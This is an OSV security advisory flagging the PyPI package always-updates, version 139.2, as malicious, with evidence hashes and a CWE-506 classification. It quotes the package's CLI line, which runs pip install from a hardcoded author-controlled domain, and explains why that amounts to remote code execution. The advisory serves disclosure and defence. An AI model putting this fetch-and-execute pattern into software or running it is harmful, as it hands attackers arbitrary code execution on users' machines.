MAL-2026-3685

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/always-updates/MAL-2026-3685.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-3685
Published
2026-05-12T19:16:19Z
Modified
2026-05-13T20:22:39.066831Z
Summary
Malicious code in always-updates (PyPI)
Details

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Source: amazon-inspector (dee16a964c16035579f7be2f965a801f87876080603f389e1e75ec3073bd5c2c)

The package's sole advertised CLI (aupd, registered as a consolescripts entry point to alwaysupdates.main:main) executes subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'https://aupd.19700101t000000z.com']) (always_updates/main.py lines 7 and 16). Running the documented command causes pip to download and install an arbitrary Python distribution from a hardcoded author-controlled endpoint: no version pin, no hash/signature verification, destination is not PyPI nor a documented publisher CDN. Because pip install <url> executes the downloaded package's setup.py, this is arbitrary remote code execution against the installer's machine by design, with attacker-mutable content served from the author's host. Corroborating soft signals: the endpoint hostname aupd.19700101t000000z.com is an anonymously-registered epoch-zero domain, the author email (alwaysupdates@sixsixsigma.com) and referenced GitHub org look theatrical/placeholder — matching the generic-placeholder-metadata-plus-network shape. The harm fires when the user runs the CLI, not at pip install time, but the package's entire advertised purpose is to fetch-and-execute whatever the author-controlled server returns; every invocation is a new, unverified remote payload.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-05-13T20:10:59.760599568Z",
            "sha256": "dee16a964c16035579f7be2f965a801f87876080603f389e1e75ec3073bd5c2c",
            "modified_time": "2026-05-12T19:16:19Z",
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-002555",
            "versions": [
                "139.2"
            ]
        }
    ]
}
References
Credits

Affected packages

PyPI / always-updates

Package

Name
always-updates
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Purl
pkg:pypi/always-updates

Affected ranges

Affected versions

139.*
139.2

Database specific

source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/always-updates/MAL-2026-3685.json"
indicators 
{
    "evidence_files": [
        {
            "sha256": "41926ba3ab6a5335b3be12df05459f9a7ec53e15d8fa17b62e48b12934dfc5e1",
            "path": "always_updates/__main__.py",
            "tlsh": "4ee0c0a7424700049c6499b8b38430935be2602d6f46ddb4a169ca3c0be705fbf08ebe"
        },
        {
            "sha256": "deb7b4ecb95e2178bafdfef2a5b73ff6d3db9db6618ebd141e37eb10f150d71d",
            "path": "setup.py",
            "tlsh": "342112ef4971a5307aa5d188bc1fe4293323f4526e2088d1f1fc0164a3d95b61f6da2e"
        }
    ],
    "package_integrity": [
        {
            "filename": "always_updates-139.2-py3-none-any.whl",
            "hashes": {
                "blake2b_256": "89c989b28701d727c2177dc93f0c5d7ca73951d8b03dc5a20352900b009dbbf8",
                "sha256": "11284aba27e2ab94d50f1d85b5f80cbf8aa102fa3b60e62a98bfc4a7b9bc44ca",
                "md5": "e21702fbbd74c60b956d52969c5c6639"
            }
        },
        {
            "filename": "always_updates-139.2.tar.gz",
            "hashes": {
                "blake2b_256": "fecdea5edfd7bf83d1e0757eb4d8e8a708974164327f0fbaa1b30ae5145cb81b",
                "sha256": "631da6291e5ed8b158fb1827977fd209cd882da91232d94a819342c4d0291338",
                "md5": "a2ae7db28ce53008dda503d91ab41b8a"
            }
        }
    ]
}
cwes 
[
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    }
]